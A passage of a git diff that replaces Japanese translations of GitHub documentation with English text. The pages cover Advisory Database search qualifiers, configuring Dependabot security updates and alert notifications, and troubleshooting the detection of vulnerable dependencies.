`sort:created-desc` | [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) は、一番新しいアドバイザリを最初にソートします。 | -| `sort:updated-asc` | [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) は、最近で最も更新されていないものを最初にソートします。 | -| `sort:updated-desc` | [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) は、最も直近で更新されたものを最初にソートします。 | -| `is:withdrawn` | [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) は、撤回されたアドバイザリのみを表示します。 | -| `created:YYYY-MM-DD` | [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) は、この日に作成されたアドバイザリのみを表示します。 | -| `updated:YYYY-MM-DD` | [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) は、この日に更新されたアドバイザリのみを表示します。 | +| Qualifier | Example | +| ------------- | ------------- | +| `GHSA-ID`| [**GHSA-49wp-qq6x-g2rf**](https://github.com/advisories?query=GHSA-49wp-qq6x-g2rf) will show the advisory with this {% data variables.product.prodname_advisory_database %} ID. | +| `CVE-ID`| [**CVE-2020-28482**](https://github.com/advisories?query=CVE-2020-28482) will show the advisory with this CVE ID number. | +| `ecosystem:ECOSYSTEM`| [**ecosystem:npm**](https://github.com/advisories?utf8=%E2%9C%93&query=ecosystem%3Anpm) will show only advisories affecting NPM packages. | +| `severity:LEVEL`| [**severity:high**](https://github.com/advisories?utf8=%E2%9C%93&query=severity%3Ahigh) will show only advisories with a high severity level. | +| `affects:LIBRARY`| [**affects:lodash**](https://github.com/advisories?utf8=%E2%9C%93&query=affects%3Alodash) will show only advisories affecting the lodash library. | +| `cwe:ID`| [**cwe:352**](https://github.com/advisories?query=cwe%3A352) will show only advisories with this CWE number. | +| `credit:USERNAME`| [**credit:octocat**](https://github.com/advisories?query=credit%3Aoctocat) will show only advisories credited to the "octocat" user account. | +| `sort:created-asc`| [**sort:created-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-asc) will sort by the oldest advisories first. | +| `sort:created-desc`| [**sort:created-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Acreated-desc) will sort by the newest advisories first. | +| `sort:updated-asc`| [**sort:updated-asc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-asc) will sort by the least recently updated first. | +| `sort:updated-desc`| [**sort:updated-desc**](https://github.com/advisories?utf8=%E2%9C%93&query=sort%3Aupdated-desc) will sort by the most recently updated first. | +| `is:withdrawn`| [**is:withdrawn**](https://github.com/advisories?utf8=%E2%9C%93&query=is%3Awithdrawn) will show only advisories that have been withdrawn. | +| `created:YYYY-MM-DD`| [**created:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=created%3A2021-01-13) will show only advisories created on this date. | +| `updated:YYYY-MM-DD`| [**updated:2021-01-13**](https://github.com/advisories?utf8=%E2%9C%93&query=updated%3A2021-01-13) will show only advisories updated on this date. | -## 脆弱性のあるリポジトリを表示する +## Viewing your vulnerable repositories -{% data variables.product.prodname_advisory_database %} の脆弱性については、どのリポジトリにその脆弱性に対する {% data variables.product.prodname_dependabot %} アラートがあるかを確認できます。 脆弱性のあるリポジトリを確認するには、そのリポジトリの {% data variables.product.prodname_dependabot_alerts %} にアクセスできる必要があります。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)」を参照してください。 +For any vulnerability in the {% data variables.product.prodname_advisory_database %}, you can see which of your repositories have a {% data variables.product.prodname_dependabot %} alert for that vulnerability. To see a vulnerable repository, you must have access to {% data variables.product.prodname_dependabot_alerts %} for that repository. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies#access-to-dependabot-alerts)." -1. Https://github.com/advisories にアクセスします。 -2. アドバイザリをクリックします。 -3. アドバイザリページの上部にある [**Dependabot alerts**] をクリックします。 ![Dependabotアラート](/assets/images/help/security/advisory-database-dependabot-alerts.png) -4. 必要に応じて、リストをフィルタするには、検索バーまたはドロップダウンメニューを使用します。 [Organization] ドロップダウンメニューを使用すると、オーナー（Organization またはユーザ）ごとに {% data variables.product.prodname_dependabot_alerts %} をフィルタできます。 ![アラートをフィルタするための検索バーとドロップダウンメニュー](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png) -5. 脆弱性の詳細、および脆弱性のあるリポジトリを修正する方法に関するアドバイスについては、リポジトリ名をクリックしてください。 +1. Navigate to https://github.com/advisories. +2. Click an advisory. +3. At the top of the advisory page, click **Dependabot alerts**. + ![Dependabot alerts](/assets/images/help/security/advisory-database-dependabot-alerts.png) +4. Optionally, to filter the list, use the search bar or the drop-down menus. The "Organization" drop-down menu allows you to filter the {% data variables.product.prodname_dependabot_alerts %} per owner (organization or user). + ![Search bar and drop-down menus to filter alerts](/assets/images/help/security/advisory-database-dependabot-alerts-filters.png) +5. For more details about the vulnerability, and for advice on how to fix the vulnerable repository, click the repository name. -## 参考リンク +## Further reading -- MITREの[「脆弱性」の定義](https://cve.mitre.org/about/terminology.html#vulnerability) +- MITRE's [definition of "vulnerability"](https://cve.mitre.org/about/terminology.html#vulnerability) diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md index 9eb8ac2b03..ab19259e3d 100644 --- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md +++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates.md @@ -1,7 +1,7 @@ --- -title: Dependabot のセキュリティアップデートを設定する -intro: '{% data variables.product.prodname_dependabot_security_updates %} または手動のプルリクエストを使用して、脆弱性のある依存関係を簡単に更新できます。' -shortTitle: セキュリティアップデートの設定 +title: Configuring Dependabot security updates +intro: 'You can use {% data variables.product.prodname_dependabot_security_updates %} or manual pull requests to easily update vulnerable dependencies.' +shortTitle: Configure security updates redirect_from: - /articles/configuring-automated-security-fixes - /github/managing-security-vulnerabilities/configuring-automated-security-fixes @@ -22,60 +22,58 @@ topics: - Pull requests - Repositories --- - {% data reusables.dependabot.beta-security-and-version-updates %} {% data reusables.dependabot.enterprise-enable-dependabot %} -## {% data variables.product.prodname_dependabot_security_updates %} の設定について +## About configuring {% data variables.product.prodname_dependabot_security_updates %} -{% data variables.product.prodname_dependabot_alerts %} と依存関係グラフを使用する任意のリポジトリで {% data variables.product.prodname_dependabot_security_updates %} を有効にすることができます。 詳しい情報については、「[{% data variables.product.prodname_dependabot_security_updates %} について](/github/managing-security-vulnerabilities/about-dependabot-security-updates)」を参照してください。 +You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)." -個々のリポジトリ、またはユーザアカウントまたは Organization が所有するすべてのリポジトリに対して {% data variables.product.prodname_dependabot_security_updates %} を無効にすることができます。 詳しい情報については、以下の「[リポジトリの {% data variables.product.prodname_dependabot_security_updates %} を管理する](#managing-dependabot-security-updates-for-your-repositories)」を参照してください。 +You can disable {% data variables.product.prodname_dependabot_security_updates %} for an individual repository or for all repositories owned by your user account or organization. For more information, see "[Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories](#managing-dependabot-security-updates-for-your-repositories)" below. {% ifversion fpt or ghec %}{% data reusables.dependabot.dependabot-tos %}{% endif %} -## サポートされているリポジトリ +## Supported repositories -{% data variables.product.prodname_dotcom %} は、これらの前提条件を満たすすべてのリポジトリに対して {% data variables.product.prodname_dependabot_security_updates %} を自動的に有効にします。 +{% data variables.product.prodname_dotcom %} automatically enables {% data variables.product.prodname_dependabot_security_updates %} for every repository that meets these prerequisites. {% note %} -**注釈**: リポジトリが以下の前提条件のいくつかを満たしていない場合でも、手動で {% data variables.product.prodname_dependabot_security_updates %} を有効にすることができます。 たとえば、「[リポジトリの {% data variables.product.prodname_dependabot_security_updates %} を管理する](#managing-dependabot-security-updates-for-your-repositories)」の手順に従って、フォークまたは直接サポートされていないパッケージマネージャーで {% data variables.product.prodname_dependabot_security_updates %} を有効にできます。 +**Note**: You can manually enable {% data variables.product.prodname_dependabot_security_updates %}, even if the repository doesn't meet some of the prerequisites below. For example, you can enable {% data variables.product.prodname_dependabot_security_updates %} on a fork, or for a package manager that isn't directly supported by following the instructions in "[Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories](#managing-dependabot-security-updates-for-your-repositories)." {% endnote %} -| 自動有効化の前提条件 | 詳細情報 | -| ------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| リポジトリがフォークではない | 「[フォークについて](/github/collaborating-with-issues-and-pull-requests/about-forks)」 | -| リポジトリがアーカイブされていない | "[Archiving repositories](/github/creating-cloning-and-archiving-repositories/archiving-repositories)" |{% ifversion fpt or ghec %} -| リポジトリがパブリックである、またはリポジトリがプライベートであり、リポジトリの設定で {% data variables.product.prodname_dotcom %}、依存関係グラフ、および脆弱性アラートによる読み取り専用分析が有効化されている | 「[プライベートリポジトリのデータ使用設定を管理する](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)」 -{% endif %} -| リポジトリに {% data variables.product.prodname_dotcom %} がサポートするパッケージエコシステムの依存関係マニフェストファイルが含まれている | 「[サポートされているパッケージエコシステム](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)」 | -| {% data variables.product.prodname_dependabot_security_updates %} がリポジトリに対して無効になっていない | 「[リポジトリの {% data variables.product.prodname_dependabot_security_updates %} を管理する](#managing-dependabot-security-updates-for-your-repositories)」 | +| Automatic enablement prerequisite | More information | +| ----------------- | ----------------------- | +| Repository is not a fork | "[About forks](/github/collaborating-with-issues-and-pull-requests/about-forks)" | +| Repository is not archived | "[Archiving repositories](/github/creating-cloning-and-archiving-repositories/archiving-repositories)" |{% ifversion fpt or ghec %} +| Repository is public, or repository is private and you have enabled read-only analysis by {% data variables.product.prodname_dotcom %}, dependency graph, and vulnerability alerts in the repository's settings | "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)." |{% endif %} +| Repository contains dependency manifest file from a package ecosystem that {% data variables.product.prodname_dotcom %} supports | "[Supported package ecosystems](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)" | +| {% data variables.product.prodname_dependabot_security_updates %} are not disabled for the repository | "[Managing {% data variables.product.prodname_dependabot_security_updates %} for your repository](#managing-dependabot-security-updates-for-your-repositories)" | -リポジトリでセキュリティアップデートが有効になっておらず、理由が不明の場合は、まず以下の手順のセクションに記載されている指示に従って有効にしてみてください。 If security updates are still not working, you can contact {% data variables.contact.contact_support %}. +If security updates are not enabled for your repository and you don't know why, first try enabling them using the instructions given in the procedural sections below. If security updates are still not working, you can contact {% data variables.contact.contact_support %}. -## リポジトリの {% data variables.product.prodname_dependabot_security_updates %} を管理する +## Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories -個別のリポジトリに対して {% data variables.product.prodname_dependabot_security_updates %} を有効または無効にできます（下記参照）。 +You can enable or disable {% data variables.product.prodname_dependabot_security_updates %} for an individual repository (see below). -ユーザアカウントまたは Organization が所有するすべてのリポジトリの {% data variables.product.prodname_dependabot_security_updates %} を有効または無効にすることもできます。 詳しい情報については、「[ユーザーアカウントのセキュリティおよび分析設定を管理する](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account)」または「[Organization のセキュリティおよび分析設定を管理する](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)」を参照してください。 +You can also enable or disable {% data variables.product.prodname_dependabot_security_updates %} for all repositories owned by your user account or organization. For more information, see "[Managing security and analysis settings for your user account](/github/setting-up-and-managing-your-github-user-account/managing-security-and-analysis-settings-for-your-user-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." -{% data variables.product.prodname_dependabot_security_updates %} には特定のリポジトリ設定が必要です。 詳しい情報については、「[サポートされているリポジトリについて](#supported-repositories)」を参照してください。 +{% data variables.product.prodname_dependabot_security_updates %} require specific repository settings. For more information, see "[Supported repositories](#supported-repositories)." -### 個別のリポジトリに対して {% data variables.product.prodname_dependabot_security_updates %} を有効または無効にする +### Enabling or disabling {% data variables.product.prodname_dependabot_security_updates %} for an individual repository {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.navigate-to-security-and-analysis %} -1. [Configure security and analysis features] の [{% data variables.product.prodname_dependabot %} security updates] の右側にある [**Enable**] または [**Disable**] をクリックします。 +1. Under "Configure security and analysis features", to the right of "{% data variables.product.prodname_dependabot %} security updates", click **Enable** or **Disable**. {% ifversion fpt or ghec %}!["Configure security and analysis features" section with button to enable {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/help/repository/enable-dependabot-security-updates-button.png){% else %}!["Configure security and analysis features" section with button to enable {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %} -## 参考リンク +## Further reading - "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"{% ifversion fpt or ghec %} - "[Managing data use settings for your private repository](/github/understanding-how-github-uses-and-protects-your-data/managing-data-use-settings-for-your-private-repository)"{% endif %} -- 「[サポートされているパッケージエコシステム](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)」 +- "[Supported package ecosystems](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)" diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md index 0d58b32e10..f0d3791232 100644 --- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md +++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-notifications-for-vulnerable-dependencies.md @@ -1,7 +1,7 @@ --- -title: 脆弱性のある依存関係の通知を設定する -shortTitle: 通知を設定する -intro: '{% data variables.product.prodname_dependabot %}アラートに関する通知の受信方法の最適化' +title: Configuring notifications for vulnerable dependencies +shortTitle: Configuring notifications +intro: 'Optimize how you receive notifications about {% data variables.product.prodname_dependabot_alerts %}.' redirect_from: - /github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies - /code-security/supply-chain-security/configuring-notifications-for-vulnerable-dependencies @@ -19,15 +19,14 @@ topics: - Dependencies - Repositories --- - -## 脆弱性のある依存関係の通知について +## About notifications for vulnerable dependencies -{% data variables.product.prodname_dependabot %}がリポジトリ中に脆弱性のある依存関係を検出すると、{% data variables.product.prodname_dependabot %}アラートが生成され、そのリポジトリのセキュリティタブに表示されます。 {% data variables.product.product_name %}は、影響を受けるリポジトリのメンテナに、リポジトリの通知設定に従って新しいアラートに関する通知を行います。{% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %}は、すべてのパブリックリポジトリでデフォルトで有効化されています。 {% data variables.product.prodname_dependabot_alerts %} の場合、デフォルト設定では、特定の脆弱性ごとにグループ化された {% data variables.product.prodname_dependabot_alerts %} をメールで受信します。 -{% endif %} +When {% data variables.product.prodname_dependabot %} detects vulnerable dependencies in your repositories, we generate a {% data variables.product.prodname_dependabot %} alert and display it on the Security tab for the repository. {% data variables.product.product_name %} notifies the maintainers of affected repositories about the new alert according to their notification preferences.{% ifversion fpt or ghec %} {% data variables.product.prodname_dependabot %} is enabled by default on all public repositories. For {% data variables.product.prodname_dependabot_alerts %}, by default, you will receive {% data variables.product.prodname_dependabot_alerts %} by email, grouped by the specific vulnerability. +{% endif %} -{% ifversion fpt or ghec %}Organization のオーナーの場合は、ワンクリックで Organization 内のすべてのリポジトリの {% data variables.product.prodname_dependabot_alerts %} を有効または無効にできます。 新しく作成されたリポジトリに対して、脆弱性のある依存関係の検出を有効にするか無効にするかを設定することもできます。 詳しい情報については、「[Organization のセキュリティおよび分析設定を管理する](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)」を参照してください。 +{% ifversion fpt or ghec %}If you're an organization owner, you can enable or disable {% data variables.product.prodname_dependabot_alerts %} for all repositories in your organization with one click. You can also set whether the detection of vulnerable dependencies will be enabled or disabled for newly-created repositories. For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization#enabling-or-disabling-a-feature-for-all-new-repositories-when-they-are-added)." {% endif %} {% ifversion ghes or ghae-issue-4864 %} @@ -36,32 +35,32 @@ By default, if your enterprise owner has configured email for notifications on y Enterprise owners can also enable {% data variables.product.prodname_dependabot_alerts %} without notifications. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." {% endif %} -## {% data variables.product.prodname_dependabot_alerts %}の通知設定 +## Configuring notifications for {% data variables.product.prodname_dependabot_alerts %} {% ifversion fpt or ghes > 3.1 or ghec %} -When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)」を参照してください。 +When a new {% data variables.product.prodname_dependabot %} alert is detected, {% data variables.product.product_name %} notifies all users with access to {% data variables.product.prodname_dependabot_alerts %} for the repository according to their notification preferences. You will receive alerts if you are watching the repository, have enabled notifications for security alerts or for all the activity on the repository, and are not ignoring the repository. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#configuring-your-watch-settings-for-an-individual-repository)." {% endif %} -各ページの上部に表示される [Manage notifications] ドロップダウン {% octicon "bell" aria-label="The notifications bell" %} から、自分または Organization の通知設定を構成できます。 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)」を参照してください。 +You can configure notification settings for yourself or your organization from the Manage notifications drop-down {% octicon "bell" aria-label="The notifications bell" %} shown at the top of each page. For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)." {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} {% data reusables.notifications.vulnerable-dependency-notification-options %} - ![{% data variables.product.prodname_dependabot_alerts %} オプション](/assets/images/help/notifications-v2/dependabot-alerts-options.png) + ![{% data variables.product.prodname_dependabot_alerts %} options](/assets/images/help/notifications-v2/dependabot-alerts-options.png) {% note %} -**ノート:** {% data variables.product.company_short %}の通知をフィルタして、{% data variables.product.prodname_dependabot %}アラートを表示できます。 詳しい情報については「[インボックスからの通知の管理](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)」を参照してください。 +**Note:** You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)." {% endnote %} -{% data reusables.repositories.security-alerts-x-github-severity %} 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)」を参照してください。 +{% data reusables.repositories.security-alerts-x-github-severity %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#filtering-email-notifications)." -## 脆弱性のある依存関係の通知を減らす方法 +## How to reduce the noise from notifications for vulnerable dependencies -{% data variables.product.prodname_dependabot_alerts %}の通知をあまりに多く受け取ることが心配なら、週次のメールダイジェストにオプトインするか、{% data variables.product.prodname_dependabot_alerts %}を有効化したままで通知をオフにすることをおすすめします。 その場合でも、リポジトリのセキュリティタブで{% data variables.product.prodname_dependabot_alerts %}を確認することはできます。 詳細については、「[リポジトリ内の脆弱な依存関係を表示・更新する](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)」を参照してください。 +If you are concerned about receiving too many notifications for {% data variables.product.prodname_dependabot_alerts %}, we recommend you opt into the weekly email digest, or turn off notifications while keeping {% data variables.product.prodname_dependabot_alerts %} enabled. You can still navigate to see your {% data variables.product.prodname_dependabot_alerts %} in your repository's Security tab. For more information, see "[Viewing and updating vulnerable dependencies in your repository](/github/managing-security-vulnerabilities/viewing-and-updating-vulnerable-dependencies-in-your-repository)." -## 参考リンク +## Further reading -- [通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications) -- 「[インボックスからの通知を管理する](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)」 +- "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications)" +- "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#supported-is-queries)" diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md index 7981ccdad0..d629122ab7 100644 --- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md +++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/index.md @@ -1,6 +1,6 @@ --- -title: プロジェクトの依存関係にある脆弱性を管理する -intro: 'リポジトリの依存関係を追跡し、{% data variables.product.product_name %} が脆弱性のある依存関係を検出したときに{% ifversion fpt or ghes %}{% data variables.product.prodname_dependabot_alerts %}{% else %}セキュリティアラート{% endif %}を受け取ることができます。' +title: Managing vulnerabilities in your project's dependencies +intro: 'You can track your repository''s dependencies and receive {% data variables.product.prodname_dependabot_alerts %} when {% data variables.product.product_name %} detects vulnerable dependencies.' redirect_from: - /articles/updating-your-project-s-dependencies/ - /articles/updating-your-projects-dependencies/ @@ -30,6 +30,6 @@ children: - /viewing-and-updating-vulnerable-dependencies-in-your-repository - /troubleshooting-the-detection-of-vulnerable-dependencies - /troubleshooting-dependabot-errors -shortTitle: 脆弱性のある依存関係の修復 +shortTitle: Fix vulnerable dependencies --- diff --git a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md index b5d22c4001..2e0ad140d1 100644 --- a/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md +++ b/translations/ja-JP/content/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies.md @@ -1,7 +1,7 @@ --- -title: 脆弱性のある依存関係の検出のトラブルシューティング -intro: '{% data variables.product.product_name %} によって報告された依存関係の情報が期待したものと異なる場合、いくつかの考慮するポイントと、様々な確認項目があります。' -shortTitle: 検出のトラブルシューティング +title: Troubleshooting the detection of vulnerable dependencies +intro: 'If the dependency information reported by {% data variables.product.product_name %} is not what you expected, there are a number of points to consider, and various things you can check.' +shortTitle: Troubleshoot detection redirect_from: - /github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies - /code-security/supply-chain-security/troubleshooting-the-detection-of-vulnerable-dependencies @@ -27,98 +27,98 @@ topics: {% data reusables.dependabot.beta-security-and-version-updates %} -{% data variables.product.product_name %} によって報告された依存関係の検出結果は、他のツールから返される結果とは異なる場合があります。 これには理由があり、{% data variables.product.prodname_dotcom %} がプロジェクトの依存関係をどのように決定するかを理解しておくと便利です。 +The results of dependency detection reported by {% data variables.product.product_name %} may be different from the results returned by other tools. There are good reasons for this and it's helpful to understand how {% data variables.product.prodname_dotcom %} determines dependencies for your project. -## 一部の依存関係がないように見えるのはなぜですか？ +## Why do some dependencies seem to be missing? -{% data variables.product.prodname_dotcom %} は、他のツールとは異なる方法で依存関係データを生成および表示します。 したがって、依存関係を特定するために別のツールを使用している場合は、ほぼ確実に異なる結果が表示されます。 次のことを考慮してください。 +{% data variables.product.prodname_dotcom %} generates and displays dependency data differently than other tools. Consequently, if you've been using another tool to identify dependencies you will almost certainly see different results. Consider the following: -* {% data variables.product.prodname_advisory_database %} は、{% data variables.product.prodname_dotcom %} が脆弱性のある依存関係を識別するために使用するデータソースの 1 つです。 これは、{% data variables.product.prodname_dotcom %} の一般的なパッケージエコシステムの脆弱性情報がキュレーションされた無料のデータベースです。 これには、{% data variables.product.prodname_security_advisories %} から {% data variables.product.prodname_dotcom %} に直接報告されたデータと、公式フィードおよびコミュニティソースの両方が含まれます。 このデータは {% data variables.product.prodname_dotcom %} によってレビューおよびキュレーションされ、虚偽または実行不可能な情報が開発コミュニティと共有されないようにします。 {% data reusables.security-advisory.link-browsing-advisory-db %} -* 依存関係グラフは、ユーザのリポジトリ内のすべての既知のパッケージマニフェストファイルを解析します。 たとえば、npm の場合、_package-lock.json_ ファイルを解析します。 リポジトリのすべての依存関係とパブリック依存関係のグラフを作成します。 これは、依存関係グラフを有効にし、誰かがデフォルトブランチにプッシュしたときに発生します。また、サポートされているマニフェスト形式に変更を加えるコミットが含まれています。 詳しい情報については、「[依存関係グラフについて](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)」を参照してください。 -* {% data variables.product.prodname_dependabot %} は、マニフェストファイルを含むデフォルトブランチへのプッシュをスキャンします。 新しい脆弱性レコードが追加されると、既存のすべてのリポジトリがスキャンされ、脆弱性のあるリポジトリごとにアラートが生成されます。 {% data variables.product.prodname_dependabot_alerts %} は、脆弱性ごとに 1 つのアラートを作成するのではなく、リポジトリレベルで集約されます。 詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)」を参照してください。 -* {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %}は、リポジトリ中の脆弱性のある依存関係に関するアラートを受け取ったときにトリガーされます。 可能な場合、{% data variables.product.prodname_dependabot %} はリポジトリ内でプルリクエストを作成して、脆弱性を回避するために必要な最小限の安全なバージョンに脆弱性のある依存関係をアップグレードします。 詳しい情報については、「[{% data variables.product.prodname_dependabot_security_updates %} について](/github/managing-security-vulnerabilities/about-dependabot-security-updates)」および「[{% data variables.product.prodname_dependabot %} エラーのトラブルシューティング](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)」を参照してください。 +* {% data variables.product.prodname_advisory_database %} is one of the data sources that {% data variables.product.prodname_dotcom %} uses to identify vulnerable dependencies. It's a free, curated database of vulnerability information for common package ecosystems on {% data variables.product.prodname_dotcom %}. It includes both data reported directly to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_security_advisories %}, as well as official feeds and community sources. This data is reviewed and curated by {% data variables.product.prodname_dotcom %} to ensure that false or unactionable information is not shared with the development community. {% data reusables.security-advisory.link-browsing-advisory-db %} +* The dependency graph parses all known package manifest files in a user’s repository. For example, for npm it will parse the _package-lock.json_ file. It constructs a graph of all of the repository’s dependencies and public dependents. This happens when you enable the dependency graph and when anyone pushes to the default branch, and it includes commits that makes changes to a supported manifest format. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)." +* {% data variables.product.prodname_dependabot %} scans any push, to the default branch, that contains a manifest file. When a new vulnerability record is added, it scans all existing repositories and generates an alert for each vulnerable repository. {% data variables.product.prodname_dependabot_alerts %} are aggregated at the repository level, rather than creating one alert per vulnerability. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." +* {% ifversion fpt or ghec or ghes > 3.2 %}{% data variables.product.prodname_dependabot_security_updates %} are triggered when you receive an alert about a vulnerable dependency in your repository. Where possible, {% data variables.product.prodname_dependabot %} creates a pull request in your repository to upgrade the vulnerable dependency to the minimum possible secure version needed to avoid the vulnerability. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)" and "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)." + + {% endif %}{% data variables.product.prodname_dependabot %} doesn't scan repositories for vulnerable dependencies on a schedule, but rather when something changes. For example, a scan is triggered when a new dependency is added ({% data variables.product.prodname_dotcom %} checks for this on every push), or when a new vulnerability is added to the advisory database{% ifversion ghes or ghae-issue-4864 %} and synchronized to {% data variables.product.product_location %}{% endif %}. For more information, see "[About alerts for vulnerable 